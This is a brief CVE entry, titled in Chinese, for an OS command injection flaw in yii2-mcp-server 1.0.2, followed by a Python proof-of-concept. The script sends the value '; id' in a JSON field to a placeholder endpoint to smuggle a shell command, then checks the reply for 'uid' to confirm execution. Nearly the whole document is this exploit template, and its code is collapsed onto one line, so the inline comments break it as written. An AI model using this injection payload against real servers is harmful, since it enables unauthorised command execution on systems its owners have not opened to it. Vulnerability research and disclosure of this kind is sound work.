CVE-2026-7600 yii2-mcp-server OS命令注入漏洞

import requests # CVE-2026-7600 PoC Example # Target: ArtMin96 yii2-mcp-server 1.0.2 # Description: OS Command Injection via yii_execute_command target_url = "http://target-ip:port/api/endpoint" payload = "; id" # Attempting to execute 'id' command data = { "command": "help", "param": payload # Injecting payload into vulnerable parameter } try: response = requests.post(target_url, json=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if command execution was successful (e.g., finding 'uid' in response) if "uid" in response.text: print("[+] Exploit successful! Command executed.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}")